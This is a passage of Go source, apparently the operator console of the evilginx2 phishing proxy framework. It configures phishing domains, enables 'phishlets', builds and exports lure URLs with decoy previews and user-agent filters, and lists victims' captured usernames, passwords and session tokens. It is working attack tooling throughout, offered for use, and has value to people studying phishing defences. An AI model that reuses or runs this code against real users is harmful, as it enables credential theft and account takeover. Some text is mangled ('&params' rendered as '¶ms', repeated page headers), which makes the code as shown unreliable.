1545 lines
46 KiB
Go
1545 lines
46 KiB
Go
package core
|
|
|
|
import (
|
|
"bufio"
|
|
"crypto/rc4"
|
|
"encoding/base64"
|
|
"encoding/csv"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"io/ioutil"
|
|
"math/rand"
|
|
"net/url"
|
|
"os"
|
|
"path/filepath"
|
|
"regexp"
|
|
"strconv"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/kgretzky/evilginx2/database"
|
|
"github.com/kgretzky/evilginx2/log"
|
|
"github.com/kgretzky/evilginx2/parser"
|
|
|
|
"github.com/chzyer/readline"
|
|
"github.com/fatih/color"
|
|
)
|
|
|
|
const (
|
|
DEFAULT_PROMPT = ": "
|
|
LAYER_TOP = 1
|
|
)
|
|
|
|
type Terminal struct {
|
|
rl *readline.Instance
|
|
completer *readline.PrefixCompleter
|
|
cfg *Config
|
|
crt_db *CertDb
|
|
p *HttpProxy
|
|
db *database.Database
|
|
hlp *Help
|
|
developer bool
|
|
}
|
|
|
|
func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
|
|
var err error
|
|
t := &Terminal{
|
|
cfg: cfg,
|
|
crt_db: crt_db,
|
|
p: p,
|
|
db: db,
|
|
developer: developer,
|
|
}
|
|
|
|
t.createHelp()
|
|
t.completer = t.hlp.GetPrefixCompleter(LAYER_TOP)
|
|
/*
|
|
t.completer = readline.NewPrefixCompleter(
|
|
readline.PcItem("server"),
|
|
readline.PcItem("ip"),
|
|
readline.PcItem("status"),
|
|
readline.PcItem("phishlet", readline.PcItem("show"), readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("hostname"), readline.PcItem("url")),
|
|
readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all"))),
|
|
readline.PcItem("exit"),
|
|
)
|
|
*/
|
|
t.rl, err = readline.NewEx(&readline.Config{
|
|
Prompt: DEFAULT_PROMPT,
|
|
AutoComplete: t.completer,
|
|
InterruptPrompt: "^C",
|
|
EOFPrompt: "exit",
|
|
FuncFilterInputRune: t.filterInput,
|
|
})
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return t, nil
|
|
}
|
|
|
|
func (t *Terminal) Close() {
|
|
t.rl.Close()
|
|
}
|
|
|
|
func (t *Terminal) output(s string, args ...interface{}) {
|
|
out := fmt.Sprintf(s, args...)
|
|
fmt.Fprintf(color.Output, "\n%s\n", out)
|
|
}
|
|
|
|
func (t *Terminal) DoWork() {
|
|
var do_quit = false
|
|
|
|
t.checkStatus()
|
|
log.SetReadline(t.rl)
|
|
|
|
t.cfg.refreshActiveHostnames()
|
|
t.updatePhishletCertificates("")
|
|
t.updateLuresCertificates()
|
|
|
|
t.output("%s", t.sprintPhishletStatus(""))
|
|
|
|
for !do_quit {
|
|
line, err := t.rl.Readline()
|
|
if err == readline.ErrInterrupt {
|
|
log.Info("type 'exit' in order to quit")
|
|
continue
|
|
} else if err == io.EOF {
|
|
break
|
|
}
|
|
|
|
line = strings.TrimSpace(line)
|
|
|
|
args, err := parser.Parse(line)
|
|
if err != nil {
|
|
log.Error("syntax error: %v", err)
|
|
}
|
|
|
|
argn := len(args)
|
|
if argn == 0 {
|
|
t.checkStatus()
|
|
continue
|
|
}
|
|
|
|
cmd_ok := false
|
|
switch args[0] {
|
|
case "clear":
|
|
cmd_ok = true
|
|
readline.ClearScreen(color.Output)
|
|
case "config":
|
|
cmd_ok = true
|
|
err := t.handleConfig(args[1:])
|
|
if err != nil {
|
|
log.Error("config: %v", err)
|
|
}
|
|
case "proxy":
|
|
cmd_ok = true
|
|
err := t.handleProxy(args[1:])
|
|
if err != nil {
|
|
log.Error("proxy: %v", err)
|
|
}
|
|
case "sessions":
|
|
cmd_ok = true
|
|
err := t.handleSessions(args[1:])
|
|
if err != nil {
|
|
log.Error("sessions: %v", err)
|
|
}
|
|
case "phishlets":
|
|
cmd_ok = true
|
|
err := t.handlePhishlets(args[1:])
|
|
if err != nil {
|
|
log.Error("phishlets: %v", err)
|
|
}
|
|
case "lures":
|
|
cmd_ok = true
|
|
err := t.handleLures(args[1:])
|
|
if err != nil {
|
|
log.Error("lures: %v", err)
|
|
}
|
|
case "blacklist":
|
|
cmd_ok = true
|
|
err := t.handleBlacklist(args[1:])
|
|
if err != nil {
|
|
log.Error("blacklist: %v", err)
|
|
}
|
|
case "help":
|
|
cmd_ok = true
|
|
if len(args) == 2 {
|
|
if err := t.hlp.PrintBrief(args[1]); err != nil {
|
|
log.Error("help: %v", err)
|
|
}
|
|
} else {
|
|
t.hlp.Print(0)
|
|
}
|
|
case "q", "quit", "exit":
|
|
do_quit = true
|
|
cmd_ok = true
|
|
default:
|
|
log.Error("unknown command: %s", args[0])
|
|
cmd_ok = true
|
|
}
|
|
if !cmd_ok {
|
|
log.Error("invalid syntax: %s", line)
|
|
}
|
|
t.checkStatus()
|
|
}
|
|
}
|
|
|
|
func (t *Terminal) handleConfig(args []string) error {
|
|
pn := len(args)
|
|
if pn == 0 {
|
|
keys := []string{"domain", "ip", "redirect_key", "verification_key", "verification_token", "redirect_url"}
|
|
vals := []string{t.cfg.baseDomain, t.cfg.serverIP, t.cfg.redirectParam, t.cfg.verificationParam, t.cfg.verificationToken, t.cfg.redirectUrl}
|
|
log.Printf("\n%s\n", AsRows(keys, vals))
|
|
return nil
|
|
} else if pn == 2 {
|
|
switch args[0] {
|
|
case "domain":
|
|
t.cfg.SetBaseDomain(args[1])
|
|
t.cfg.ResetAllSites()
|
|
return nil
|
|
case "ip":
|
|
t.cfg.SetServerIP(args[1])
|
|
return nil
|
|
case "redirect_key":
|
|
t.cfg.SetRedirectParam(args[1])
|
|
log.Warning("you need to regenerate your phishing urls after this change")
|
|
return nil
|
|
case "verification_key":
|
|
t.cfg.SetVerificationParam(args[1])
|
|
log.Warning("you need to regenerate your phishing urls after this change")
|
|
return nil
|
|
case "verification_token":
|
|
t.cfg.SetVerificationToken(args[1])
|
|
log.Warning("you need to regenerate your phishing urls after this change")
|
|
return nil
|
|
case "redirect_url":
|
|
if len(args[1]) > 0 {
|
|
_, err := url.ParseRequestURI(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
}
|
|
t.cfg.SetRedirectUrl(args[1])
|
|
return nil
|
|
}
|
|
}
|
|
return fmt.Errorf("invalid syntax: %s", args)
|
|
}
|
|
|
|
func (t *Terminal) handleBlacklist(args []string) error {
|
|
pn := len(args)
|
|
if pn == 0 {
|
|
mode := t.cfg.GetBlacklistMode()
|
|
log.Info("blacklist mode set to: %s", mode)
|
|
return nil
|
|
} else if pn == 1 {
|
|
switch args[0] {
|
|
case "all":
|
|
t.cfg.SetBlacklistMode(args[0])
|
|
return nil
|
|
case "unauth":
|
|
t.cfg.SetBlacklistMode(args[0])
|
|
return nil
|
|
case "off":
|
|
t.cfg.SetBlacklistMode(args[0])
|
|
return nil
|
|
}
|
|
}
|
|
return fmt.Errorf("invalid syntax: %s", args)
|
|
}
|
|
|
|
func (t *Terminal) handleProxy(args []string) error {
|
|
pn := len(args)
|
|
if pn == 0 {
|
|
var proxy_enabled string = "no"
|
|
if t.cfg.proxyEnabled {
|
|
proxy_enabled = "yes"
|
|
}
|
|
|
|
keys := []string{"enabled", "type", "address", "port", "username", "password"}
|
|
vals := []string{proxy_enabled, t.cfg.proxyType, t.cfg.proxyAddress, strconv.Itoa(t.cfg.proxyPort), t.cfg.proxyUsername, t.cfg.proxyPassword}
|
|
log.Printf("\n%s\n", AsRows(keys, vals))
|
|
return nil
|
|
} else if pn == 1 {
|
|
switch args[0] {
|
|
case "enable":
|
|
err := t.p.setProxy(true, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
t.cfg.EnableProxy(true)
|
|
log.Important("you need to restart evilginx for the changes to take effect!")
|
|
return nil
|
|
case "disable":
|
|
err := t.p.setProxy(false, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
t.cfg.EnableProxy(false)
|
|
return nil
|
|
}
|
|
} else if pn == 2 {
|
|
switch args[0] {
|
|
case "type":
|
|
if t.cfg.proxyEnabled {
|
|
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
|
}
|
|
t.cfg.SetProxyType(args[1])
|
|
return nil
|
|
case "address":
|
|
if t.cfg.proxyEnabled {
|
|
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
|
}
|
|
t.cfg.SetProxyAddress(args[1])
|
|
return nil
|
|
case "port":
|
|
if t.cfg.proxyEnabled {
|
|
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
|
}
|
|
port, err := strconv.Atoi(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
t.cfg.SetProxyPort(port)
|
|
return nil
|
|
case "username":
|
|
if t.cfg.proxyEnabled {
|
|
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
|
}
|
|
t.cfg.SetProxyUsername(args[1])
|
|
return nil
|
|
case "password":
|
|
if t.cfg.proxyEnabled {
|
|
return fmt.Errorf("please disable the proxy before making changes to its configuration")
|
|
}
|
|
t.cfg.SetProxyPassword(args[1])
|
|
return nil
|
|
}
|
|
}
|
|
return fmt.Errorf("invalid syntax: %s", args)
|
|
}
|
|
|
|
func (t *Terminal) handleSessions(args []string) error {
|
|
lblue := color.New(color.FgHiBlue)
|
|
dgray := color.New(color.FgHiBlack)
|
|
lgreen := color.New(color.FgHiGreen)
|
|
yellow := color.New(color.FgYellow)
|
|
lred := color.New(color.FgHiRed)
|
|
cyan := color.New(color.FgCyan)
|
|
|
|
pn := len(args)
|
|
if pn == 0 {
|
|
cols := []string{"id", "phishlet", "username", "password", "tokens", "remote ip", "time"}
|
|
sessions, err := t.db.ListSessions()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if len(sessions) == 0 {
|
|
log.Info("no saved sessions found")
|
|
return nil
|
|
}
|
|
var rows [][]string
|
|
for _, s := range sessions {
|
|
tcol := dgray.Sprintf("none")
|
|
if len(s.Tokens) > 0 {
|
|
tcol = lgreen.Sprintf("captured")
|
|
}
|
|
row := []string{strconv.Itoa(s.Id), lred.Sprintf(s.Phishlet), lblue.Sprintf(truncateString(s.Username, 24)), lblue.Sprintf(truncateString(s.Password, 24)), tcol, yellow.Sprintf(s.RemoteAddr), time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04")}
|
|
rows = append(rows, row)
|
|
}
|
|
log.Printf("\n%s\n", AsTable(cols, rows))
|
|
return nil
|
|
} else if pn == 1 {
|
|
id, err := strconv.Atoi(args[0])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
sessions, err := t.db.ListSessions()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if len(sessions) == 0 {
|
|
log.Info("no saved sessions found")
|
|
return nil
|
|
}
|
|
s_found := false
|
|
for _, s := range sessions {
|
|
if s.Id == id {
|
|
pl, err := t.cfg.GetPhishlet(s.Phishlet)
|
|
if err != nil {
|
|
log.Error("%v", err)
|
|
break
|
|
}
|
|
|
|
s_found = true
|
|
tcol := dgray.Sprintf("empty")
|
|
if len(s.Tokens) > 0 {
|
|
tcol = lgreen.Sprintf("captured")
|
|
}
|
|
|
|
keys := []string{"id", "phishlet", "username", "password", "tokens", "landing url", "user-agent", "remote ip", "create time", "update time"}
|
|
vals := []string{strconv.Itoa(s.Id), lred.Sprint(s.Phishlet), lblue.Sprint(s.Username), lblue.Sprint(s.Password), tcol, yellow.Sprint(s.LandingURL), dgray.Sprint(s.UserAgent), yellow.Sprint(s.RemoteAddr), dgray.Sprint(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprint(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))}
|
|
log.Printf("\n%s", AsRows(keys, vals))
|
|
|
|
if len(s.Custom) > 0 {
|
|
var ckeys []string = []string{"custom", "value"}
|
|
var cvals [][]string
|
|
for k, v := range s.Custom {
|
|
cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
|
|
}
|
|
log.Printf("\n%s", AsTable(ckeys, cvals))
|
|
}
|
|
|
|
if len(s.Tokens) > 0 {
|
|
json_tokens := t.tokensToJSON(pl, s.Tokens)
|
|
t.output("%s\n", json_tokens)
|
|
} else {
|
|
t.output("\n")
|
|
}
|
|
break
|
|
}
|
|
}
|
|
if !s_found {
|
|
return fmt.Errorf("id %d not found", id)
|
|
}
|
|
return nil
|
|
} else if pn == 2 {
|
|
switch args[0] {
|
|
case "delete":
|
|
if args[1] == "all" {
|
|
sessions, err := t.db.ListSessions()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if len(sessions) == 0 {
|
|
break
|
|
}
|
|
for _, s := range sessions {
|
|
err = t.db.DeleteSessionById(s.Id)
|
|
if err != nil {
|
|
log.Warning("delete: %v", err)
|
|
} else {
|
|
log.Info("deleted session with ID: %d", s.Id)
|
|
}
|
|
}
|
|
t.db.Flush()
|
|
return nil
|
|
} else {
|
|
rc := strings.Split(args[1], ",")
|
|
for _, pc := range rc {
|
|
pc = strings.TrimSpace(pc)
|
|
rd := strings.Split(pc, "-")
|
|
if len(rd) == 2 {
|
|
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
|
|
if err != nil {
|
|
log.Error("delete: %v", err)
|
|
break
|
|
}
|
|
e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
|
|
if err != nil {
|
|
log.Error("delete: %v", err)
|
|
break
|
|
}
|
|
for i := b_id; i <= e_id; i++ {
|
|
err = t.db.DeleteSessionById(i)
|
|
if err != nil {
|
|
log.Warning("delete: %v", err)
|
|
} else {
|
|
log.Info("deleted session with ID: %d", i)
|
|
}
|
|
}
|
|
} else if len(rd) == 1 {
|
|
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
|
|
if err != nil {
|
|
log.Error("delete: %v", err)
|
|
break
|
|
}
|
|
err = t.db.DeleteSessionById(b_id)
|
|
if err != nil {
|
|
log.Warning("delete: %v", err)
|
|
} else {
|
|
log.Info("deleted session with ID: %d", b_id)
|
|
}
|
|
}
|
|
}
|
|
t.db.Flush()
|
|
return nil
|
|
}
|
|
}
|
|
}
|
|
return fmt.Errorf("invalid syntax: %s", args)
|
|
}
|
|
|
|
func (t *Terminal) handlePhishlets(args []string) error {
|
|
pn := len(args)
|
|
|
|
if pn == 0 {
|
|
t.output("%s", t.sprintPhishletStatus(""))
|
|
return nil
|
|
} else if pn == 2 {
|
|
switch args[0] {
|
|
case "enable":
|
|
_, err := t.cfg.GetPhishlet(args[1])
|
|
if err != nil {
|
|
log.Error("%v", err)
|
|
break
|
|
}
|
|
domain, _ := t.cfg.GetSiteDomain(args[1])
|
|
if domain == "" {
|
|
return fmt.Errorf("you need to set hostname for phishlet '%s', first. type: phishlet hostname %s your.hostame.domain.com", args[1], args[1])
|
|
}
|
|
err = t.cfg.SetSiteEnabled(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
t.updatePhishletCertificates(args[1])
|
|
return nil
|
|
case "disable":
|
|
err := t.cfg.SetSiteDisabled(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
case "hide":
|
|
err := t.cfg.SetSiteHidden(args[1], true)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
case "unhide":
|
|
err := t.cfg.SetSiteHidden(args[1], false)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
case "get-url":
|
|
return fmt.Errorf("incorrect number of arguments")
|
|
case "get-hosts":
|
|
pl, err := t.cfg.GetPhishlet(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
bhost, ok := t.cfg.GetSiteDomain(pl.Site)
|
|
if !ok || len(bhost) == 0 {
|
|
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
|
|
}
|
|
out := ""
|
|
hosts := pl.GetPhishHosts()
|
|
for n, h := range hosts {
|
|
if n > 0 {
|
|
out += "\n"
|
|
}
|
|
out += t.cfg.GetServerIP() + " " + h
|
|
}
|
|
t.output("%s\n", out)
|
|
return nil
|
|
}
|
|
} else if pn == 3 {
|
|
switch args[0] {
|
|
case "hostname":
|
|
_, err := t.cfg.GetPhishlet(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if ok := t.cfg.SetSiteHostname(args[1], args[2]); ok {
|
|
t.cfg.SetSiteDisabled(args[1])
|
|
}
|
|
return nil
|
|
case "get-url":
|
|
pl, err := t.cfg.GetPhishlet(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
bhost, ok := t.cfg.GetSiteDomain(pl.Site)
|
|
if !ok || len(bhost) == 0 {
|
|
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
|
|
}
|
|
urls, err := pl.GetLandingUrls(args[2], true)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
out := ""
|
|
n := 0
|
|
hblue := color.New(color.FgHiCyan)
|
|
for _, u := range urls {
|
|
if n > 0 {
|
|
out += "\n"
|
|
}
|
|
out += hblue.Sprint(u)
|
|
n += 1
|
|
}
|
|
log.Warning("`get-url` is deprecated - please use `lures` with custom `path` instead")
|
|
t.output("%s\n", out)
|
|
return nil
|
|
}
|
|
}
|
|
return fmt.Errorf("invalid syntax: %s", args)
|
|
}
|
|
|
|
func (t *Terminal) handleLures(args []string) error {
|
|
hiblue := color.New(color.FgHiBlue)
|
|
yellow := color.New(color.FgYellow)
|
|
green := color.New(color.FgGreen)
|
|
//hiwhite := color.New(color.FgHiWhite)
|
|
hcyan := color.New(color.FgHiCyan)
|
|
cyan := color.New(color.FgCyan)
|
|
dgray := color.New(color.FgHiBlack)
|
|
white := color.New(color.FgHiWhite)
|
|
|
|
pn := len(args)
|
|
|
|
if pn == 0 {
|
|
// list lures
|
|
t.output("%s", t.sprintLures())
|
|
return nil
|
|
}
|
|
if pn > 0 {
|
|
switch args[0] {
|
|
case "create":
|
|
if pn == 2 {
|
|
_, err := t.cfg.GetPhishlet(args[1])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
l := &Lure{
|
|
Path: "/" + GenRandomString(8),
|
|
Phishlet: args[1],
|
|
}
|
|
t.cfg.AddLure(args[1], l)
|
|
log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
|
|
return nil
|
|
}
|
|
return fmt.Errorf("incorrect number of arguments")
|
|
case "get-url":
|
|
if pn >= 2 {
|
|
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
|
if err != nil {
|
|
return fmt.Errorf("get-url: %v", err)
|
|
}
|
|
l, err := t.cfg.GetLure(l_id)
|
|
if err != nil {
|
|
return fmt.Errorf("get-url: %v", err)
|
|
}
|
|
pl, err := t.cfg.GetPhishlet(l.Phishlet)
|
|
if err != nil {
|
|
return fmt.Errorf("get-url: %v", err)
|
|
}
|
|
bhost, ok := t.cfg.GetSiteDomain(pl.Site)
|
|
if !ok || len(bhost) == 0 {
|
|
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
|
|
}
|
|
|
|
var base_url string
|
|
if l.Hostname != "" {
|
|
base_url = "https://" + l.Hostname + l.Path
|
|
} else {
|
|
purl, err := pl.GetLureUrl(l.Path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
base_url = purl
|
|
}
|
|
|
|
var phish_urls []string
|
|
var phish_params []map[string]string
|
|
var out string
|
|
|
|
params := url.Values{}
|
|
if pn > 2 {
|
|
if args[2] == "import" {
|
|
if pn < 4 {
|
|
return fmt.Errorf("get-url: no import path specified")
|
|
}
|
|
params_file := args[3]
|
|
|
|
phish_urls, phish_params, err = t.importParamsFromFile(base_url, params_file)
|
|
if err != nil {
|
|
return fmt.Errorf("get_url: %v", err)
|
|
}
|
|
|
|
if pn >= 5 {
|
|
if args[4] == "export" {
|
|
if pn == 5 {
|
|
return fmt.Errorf("get-url: no export path specified")
|
|
}
|
|
export_path := args[5]
|
|
|
|
format := "text"
|
|
if pn == 7 {
|
|
format = args[6]
|
|
}
|
|
|
|
err = t.exportPhishUrls(export_path, phish_urls, phish_params, format)
|
|
if err != nil {
|
|
return fmt.Errorf("get-url: %v", err)
|
|
}
|
|
out = hiblue.Sprintf("exported %d phishing urls to file: %s\n", len(phish_urls), export_path)
|
|
phish_urls = []string{}
|
|
} else {
|
|
return fmt.Errorf("get-url: expected 'export': %s", args[4])
|
|
}
|
|
}
|
|
|
|
} else {
|
|
// params present
|
|
for n := 2; n < pn; n++ {
|
|
val := args[n]
|
|
|
|
sp := strings.Index(val, "=")
|
|
if sp == -1 {
|
|
return fmt.Errorf("to set custom parameters for the phishing url, use format 'param1=value1 param2=value2'")
|
|
}
|
|
k := val[:sp]
|
|
v := val[sp+1:]
|
|
|
|
params.Add(k, v)
|
|
|
|
log.Info("adding parameter: %s='%s'", k, v)
|
|
}
|
|
phish_urls = append(phish_urls, t.createPhishUrl(base_url, ¶ms))
|
|
}
|
|
} else {
|
|
phish_urls = append(phish_urls, t.createPhishUrl(base_url, ¶ms))
|
|
}
|
|
|
|
for n, phish_url := range phish_urls {
|
|
out += hiblue.Sprint(phish_url)
|
|
|
|
var params_row string
|
|
var params string
|
|
if len(phish_params) > 0 {
|
|
params_row := phish_params[n]
|
|
m := 0
|
|
for k, v := range params_row {
|
|
if m > 0 {
|
|
params += " "
|
|
}
|
|
params += fmt.Sprintf("%s=\"%s\"", k, v)
|
|
m += 1
|
|
}
|
|
}
|
|
|
|
if len(params_row) > 0 {
|
|
out += " ; " + params
|
|
}
|
|
out += "\n"
|
|
}
|
|
|
|
t.output("%s", out)
|
|
return nil
|
|
}
|
|
return fmt.Errorf("incorrect number of arguments")
|
|
case "edit":
|
|
if pn == 4 {
|
|
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
l, err := t.cfg.GetLure(l_id)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
val := args[3]
|
|
do_update := false
|
|
|
|
switch args[2] {
|
|
case "hostname":
|
|
if val != "" {
|
|
val = strings.ToLower(val)
|
|
|
|
if val != t.cfg.baseDomain && !strings.HasSuffix(val, "."+t.cfg.baseDomain) {
|
|
return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.baseDomain)
|
|
}
|
|
host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`)
|
|
if !host_re.MatchString(val) {
|
|
return fmt.Errorf("edit: invalid hostname")
|
|
}
|
|
err = t.updateHostCertificate(val)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
l.Hostname = val
|
|
t.cfg.refreshActiveHostnames()
|
|
} else {
|
|
l.Hostname = ""
|
|
}
|
|
do_update = true
|
|
log.Info("hostname = '%s'", l.Hostname)
|
|
case "path":
|
|
if val != "" {
|
|
u, err := url.Parse(val)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
l.Path = u.EscapedPath()
|
|
if len(l.Path) == 0 || l.Path[0] != '/' {
|
|
l.Path = "/" + l.Path
|
|
}
|
|
} else {
|
|
l.Path = "/"
|
|
}
|
|
do_update = true
|
|
log.Info("path = '%s'", l.Path)
|
|
case "redirect_url":
|
|
if val != "" {
|
|
u, err := url.Parse(val)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
if !u.IsAbs() {
|
|
return fmt.Errorf("edit: redirect url must be absolute")
|
|
}
|
|
l.RedirectUrl = u.String()
|
|
} else {
|
|
l.RedirectUrl = ""
|
|
}
|
|
do_update = true
|
|
log.Info("redirect_url = '%s'", l.RedirectUrl)
|
|
case "phishlet":
|
|
_, err := t.cfg.GetPhishlet(val)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
l.Phishlet = val
|
|
do_update = true
|
|
log.Info("phishlet = '%s'", l.Phishlet)
|
|
case "info":
|
|
l.Info = val
|
|
do_update = true
|
|
log.Info("info = '%s'", l.Info)
|
|
case "og_title":
|
|
l.OgTitle = val
|
|
do_update = true
|
|
log.Info("og_title = '%s'", l.OgTitle)
|
|
case "og_desc":
|
|
l.OgDescription = val
|
|
do_update = true
|
|
log.Info("og_desc = '%s'", l.OgDescription)
|
|
case "og_image":
|
|
if val != "" {
|
|
u, err := url.Parse(val)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
if !u.IsAbs() {
|
|
return fmt.Errorf("edit: image url must be absolute")
|
|
}
|
|
l.OgImageUrl = u.String()
|
|
} else {
|
|
l.OgImageUrl = ""
|
|
}
|
|
do_update = true
|
|
log.Info("og_image = '%s'", l.OgImageUrl)
|
|
case "og_url":
|
|
if val != "" {
|
|
u, err := url.Parse(val)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
if !u.IsAbs() {
|
|
return fmt.Errorf("edit: site url must be absolute")
|
|
}
|
|
l.OgUrl = u.String()
|
|
} else {
|
|
l.OgUrl = ""
|
|
}
|
|
do_update = true
|
|
log.Info("og_url = '%s'", l.OgUrl)
|
|
case "template":
|
|
if val != "" {
|
|
path := val
|
|
if !filepath.IsAbs(val) {
|
|
templates_dir := t.cfg.GetTemplatesDir()
|
|
path = filepath.Join(templates_dir, val)
|
|
}
|
|
|
|
if _, err := os.Stat(path); !os.IsNotExist(err) {
|
|
l.Template = val
|
|
} else {
|
|
return fmt.Errorf("edit: template file does not exist: %s", path)
|
|
}
|
|
} else {
|
|
l.Template = ""
|
|
}
|
|
do_update = true
|
|
log.Info("template = '%s'", l.Template)
|
|
case "ua_filter":
|
|
if val != "" {
|
|
if _, err := regexp.Compile(val); err != nil {
|
|
return err
|
|
}
|
|
|
|
l.UserAgentFilter = val
|
|
} else {
|
|
l.UserAgentFilter = ""
|
|
}
|
|
do_update = true
|
|
log.Info("ua_filter = '%s'", l.UserAgentFilter)
|
|
}
|
|
if do_update {
|
|
err := t.cfg.SetLure(l_id, l)
|
|
if err != nil {
|
|
return fmt.Errorf("edit: %v", err)
|
|
}
|
|
return nil
|
|
}
|
|
} else {
|
|
return fmt.Errorf("incorrect number of arguments")
|
|
}
|
|
case "delete":
|
|
if pn == 2 {
|
|
if len(t.cfg.lures) == 0 {
|
|
break
|
|
}
|
|
if args[1] == "all" {
|
|
di := []int{}
|
|
for n, _ := range t.cfg.lures {
|
|
di = append(di, n)
|
|
}
|
|
if len(di) > 0 {
|
|
rdi := t.cfg.DeleteLures(di)
|
|
for _, id := range rdi {
|
|
log.Info("deleted lure with ID: %d", id)
|
|
}
|
|
}
|
|
return nil
|
|
} else {
|
|
rc := strings.Split(args[1], ",")
|
|
di := []int{}
|
|
for _, pc := range rc {
|
|
pc = strings.TrimSpace(pc)
|
|
rd := strings.Split(pc, "-")
|
|
if len(rd) == 2 {
|
|
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
|
|
if err != nil {
|
|
return fmt.Errorf("delete: %v", err)
|
|
}
|
|
e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
|
|
if err != nil {
|
|
return fmt.Errorf("delete: %v", err)
|
|
}
|
|
for i := b_id; i <= e_id; i++ {
|
|
di = append(di, i)
|
|
}
|
|
} else if len(rd) == 1 {
|
|
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
|
|
if err != nil {
|
|
return fmt.Errorf("delete: %v", err)
|
|
}
|
|
di = append(di, b_id)
|
|
}
|
|
}
|
|
if len(di) > 0 {
|
|
rdi := t.cfg.DeleteLures(di)
|
|
for _, id := range rdi {
|
|
log.Info("deleted lure with ID: %d", id)
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
}
|
|
return fmt.Errorf("incorrect number of arguments")
|
|
default:
|
|
id, err := strconv.Atoi(args[0])
|
|
if err != nil {
|
|
return err
|
|
}
|
|
l, err := t.cfg.GetLure(id)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
keys := []string{"phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
|
|
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
|
|
log.Printf("\n%s\n", AsRows(keys, vals))
|
|
|
|
return nil
|
|
}
|
|
}
|
|
|
|
return fmt.Errorf("invalid syntax: %s", args)
|
|
}
|
|
|
|
func (t *Terminal) createHelp() {
|
|
h, _ := NewHelp()
|
|
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
|
|
readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ip"), readline.PcItem("redirect_key"), readline.PcItem("verification_key"), readline.PcItem("verification_token"), readline.PcItem("redirect_url")))
|
|
h.AddSubCommand("config", nil, "", "show all configuration variables")
|
|
h.AddSubCommand("config", []string{"domain"}, "domain <domain>", "set base domain for all phishlets (e.g. evilsite.com)")
|
|
h.AddSubCommand("config", []string{"ip"}, "ip <ip_address>", "set ip address of the current server")
|
|
